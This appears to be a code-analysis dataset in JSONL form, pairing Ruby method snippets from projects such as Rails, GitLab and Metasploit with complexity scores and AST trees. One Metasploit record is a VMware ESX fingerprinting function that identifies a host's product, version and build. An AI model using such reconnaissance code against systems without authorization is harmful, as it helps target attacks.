{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb","start_line":196,"raw_source":"def export_name_on_schema_dump?\n          !ActiveRecord::SchemaDumper.excl_ignore_pattern.match?(name) if name\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"export_name_on_schema_dump?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDumper\"]},\"excl_ignore_pattern\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"!\"]},null]}]}","id":"f4fc669b-020d-498e-b700-e4c8f1154c27"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/wiki_helper.rb","start_line":32,"raw_source":"def wiki_page_options_for_select(pages,\n                                   ids: true,\n                                   placeholder: true)\n    s = if placeholder\n          [[\"-- #{t('label_no_parent_page')} --\", \"\"]]\n        else\n          []\n        end\n\n    s + wiki_page_options_for_select_of_level(pages.group_by(&:parent),\n                                              ids:)\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_page_options_for_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pages\"]},{\"type\":\"kwoptarg\",\"children\":[\"ids\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"placeholder\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_no_parent_page\"]}]}]},{\"type\":\"str\",\"children\":[\" --\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"wiki_page_options_for_select_of_level\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pages\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]}]}]}","id":"99fdbcac-c67a-4166-88de-f96fee2ca5f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_web_hook.rb","start_line":46,"raw_source":"def resource_web_url(resource)\n        \"/project/#{project.name}/~/hooks/##{resource[:id]}/edit\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_web_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/project/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/~/hooks/#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"/edit\"]}]}]}","id":"7f84992e-0d8c-42be-8cf8-199fbc599fdb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/models/storages/sharepoint_storage.rb","start_line":75,"raw_source":"def connect_src\n      host_uri = URI(host)\n      [\"#{host_uri.scheme}://#{host_uri.host}\"]\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_src\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host_uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[null,\"host\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_uri\"]},\"scheme\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_uri\"]},\"host\"]}]}]}]}]}]}","id":"199552ec-143f-45ea-a5f6-236eb76d3ca7"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/format.rb","start_line":107,"raw_source":"def validates_format_of(*attr_names)\n        validates_with FormatValidator, _merge_attributes(attr_names)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validates_format_of\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attr_names\"]}]},{\"type\":\"send\",\"children\":[null,\"validates_with\",{\"type\":\"const\",\"children\":[null,\"FormatValidator\"]},{\"type\":\"send\",\"children\":[null,\"_merge_attributes\",{\"type\":\"lvar\",\"children\":[\"attr_names\"]}]}]}]}","id":"3f81e824-4876-464f-80fe-a4527bb15e66"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_lint.rb","start_line":972,"raw_source":"def assert_lint(*args)\n    hello_str = \"hello world\".dup\n    hello_str.force_encoding(Encoding::ASCII_8BIT)\n\n    Rack::Lint.new(lambda { |env|\n                     env[\"rack.input\"].send(:read, *args)\n                     [201, { \"content-type\" => \"text/plain\", \"content-length\" => \"0\" }, []]\n                   }).call(env({ \"rack.input\" => StringIO.new(hello_str) })).\n      first.must_equal 201\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_lint\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hello_str\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"hello world\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hello_str\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ASCII_8BIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"send\",{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[201]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-length\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"env\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rack.input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hello_str\"]}]}]}]}]}]},\"first\"]},\"must_equal\",{\"type\":\"int\",\"children\":[201]}]}]}]}","id":"4b2ac34e-3f51-4b25-ab7b-e9a6c7cbbcd8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.rb","start_line":258,"raw_source":"def initialize(mod, session_id)\n    @mod = mod\n    @session_id = session_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"arg\",\"children\":[\"session_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mod\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@session_id\",{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}]}","id":"9eb670c6-0f0e-4d90-ae32-968df7f1ba3c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":568,"raw_source":"def test_belongs_to_with_dependent_destroy\n    person = PersonWithDependentDestroyJobs.find(1)\n\n    # Create a reference which is not linked to a job. This should not be destroyed.\n    person.references.create!\n\n    assert_no_difference \"Job.count\" do\n      assert_difference \"Reference.count\", -person.jobs.count do\n        person.destroy\n      end\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_with_dependent_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonWithDependentDestroyJobs\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"references\"]},\"create!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"str\",\"children\":[\"Job.count\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Reference.count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"jobs\"]},\"count\"]},\"-@\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"destroy\"]}]}]}]}]}","id":"670387cd-24fa-4bc1-8f74-f71f295d9b2c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":237,"raw_source":"def add_to(table)\n        columns.each do |name, type, options|\n          table.column(name, type, **options)\n        end\n\n        if index\n          table.index(column_names, **index_options(table.name))\n        end\n\n        if foreign_key\n          table.foreign_key(foreign_table_name, **foreign_key_options)\n        end\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"column\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"index\",{\"type\":\"send\",\"children\":[null,\"column_names\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"name\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"foreign_key\",{\"type\":\"send\",\"children\":[null,\"foreign_table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key_options\"]}]}]}]},null]}]}]}","id":"50300de2-f2e2-47c8-9214-5b36d0a5caa2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sql/pattern.rb","start_line":58,"raw_source":"def fuzzy_arel_match(column, query, lower_exact_match: false, use_minimum_char_limit: true)\n          return unless query.is_a?(String)\n\n          query = query.squish\n          return unless query.present?\n\n          arel_column = column.is_a?(Arel::Attributes::Attribute) ? column : arel_table[column]\n\n          words = select_fuzzy_terms(query, use_minimum_char_limit: use_minimum_char_limit)\n\n          if words.any?\n            words.map { |word| arel_column.matches(to_pattern(word, use_minimum_char_limit: use_minimum_char_limit)) }.reduce(:and)\n          elsif lower_exact_match\n            # No words of at least 3 chars, but we can search for an exact\n            # case insensitive match with the query as a whole\n            Arel::Nodes::NamedFunction\n                .new('LOWER', [arel_column])\n                .eq(query)\n          else\n            arel_column.matches(sanitize_sql_like(query))\n          end\n        end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzzy_arel_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"lower_exact_match\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"use_minimum_char_limit\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"squish\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"arel_column\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Attributes\"]},\"Attribute\"]}]},{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"words\",{\"type\":\"send\",\"children\":[null,\"select_fuzzy_terms\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_minimum_char_limit\"]},{\"type\":\"lvar\",\"children\":[\"use_minimum_char_limit\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel_column\"]},\"matches\",{\"type\":\"send\",\"children\":[null,\"to_pattern\",{\"type\":\"lvar\",\"children\":[\"word\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_minimum_char_limit\"]},{\"type\":\"lvar\",\"children\":[\"use_minimum_char_limit\"]}]}]}]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"and\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_exact_match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOWER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel_column\"]}]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel_column\"]},\"matches\",{\"type\":\"send\",\"children\":[null,\"sanitize_sql_like\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]}]}","id":"0856637b-695b-450b-96b4-d0f8f2d6bd23"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_server.rb","start_line":59,"raw_source":"def is_refreshable?\n    refreshable_status[:show]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_refreshable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refreshable_status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"show\"]}]}]}","id":"91a814ac-d3ff-41a9-91b8-f9ba4137f57f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/vmware/esx_fingerprint.rb","start_line":65,"raw_source":"def fingerprint_vmware(ip, res)\n    unless res\n      vprint_error(\"http://#{ip}:#{rport} - No response\")\n      return false\n    end\n\n    unless res.body.include?('<vendor>VMware, Inc.</vendor>')\n      vprint_error(\"http://#{ip}:#{rport} - Host is not VMware\")\n      return false\n    end\n\n    os_match = res.body.match(%r{<name>([\\w\\s]+)</name>})\n    ver_match = res.body.match(%r{<version>([\\w\\s.]+)</version>})\n    build_match = res.body.match(%r{<build>([\\w\\s.-]+)</build>})\n    full_match = res.body.match(%r{<fullName>([\\w\\s.-]+)</fullName>})\n    this_host = nil\n\n    if full_match\n      print_good(\"#{rhost}:#{rport} - Identified #{full_match[1]}\")\n      report_service(host: this_host || ip, port: rport, proto: 'tcp', name: 'https', info: full_match[1])\n    end\n\n    unless os_match && ver_match && build_match\n      vprint_error(\"http://#{ip}:#{rport} - Could not identify as VMware\")\n      return false\n    end\n\n    if os_match[1] =~ /ESX/ || os_match[1] =~ /vCenter/\n      # Report a fingerprint match for OS identification\n      report_note(\n        host: ip,\n        ntype: 'fingerprint.match',\n        data: {\n          'os.vendor' => 'VMware',\n          'os.product' => os_match[1] + ' ' + ver_match[1],\n          'os.version' => build_match[1]\n        }\n      )\n    end\n\n    return true\n  end","complexity_score":56.03,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint_vmware\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - No response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<vendor>VMware, Inc.</vendor>\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Host is not VMware\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"os_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<name>([\\\\w\\\\s]+)</name>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ver_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<version>([\\\\w\\\\s.]+)</version>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"build_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<build>([\\\\w\\\\s.-]+)</build>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<fullName>([\\\\w\\\\s.-]+)</fullName>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"this_host\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_match\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Identified \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"this_host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_match\"]},{\"type\":\"lvar\",\"children\":[\"ver_match\"]}]},{\"type\":\"lvar\",\"children\":[\"build_match\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Could not identify as VMware\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ESX\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"vCenter\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ntype\"]},{\"type\":\"str\",\"children\":[\"fingerprint.match\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"os.vendor\"]},{\"type\":\"str\",\"children\":[\"VMware\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"os.product\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"os.version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f638b055-7cad-44b2-82c2-26cd25729020"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/site_settings/validations_spec.rb","start_line":44,"raw_source":"def change_bucket_value(value)\n        SiteSetting.set(other_setting_name, value)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_bucket_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"other_setting_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"29626cf5-f579-4abb-82da-6693729812a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/artifact_file_reader.rb","start_line":43,"raw_source":"def validate!(max_archive_size:)\n        if job.job_artifacts_archive.size > @max_archive_size\n          raise Error,\n            \"Artifacts archive for job `#{job.name}` is too large: \" \\\n              \"#{bytes_to_human_size(job.job_artifacts_archive.size)} \" \\\n              \"exceeds maximum of #{bytes_to_human_size(max_archive_size)}\"\n        end\n\n        unless job.artifacts_metadata?\n          raise Error, \"Job `#{job.name}` (#{@job.id}) has missing artifacts metadata and cannot be extracted!\"\n        end\n      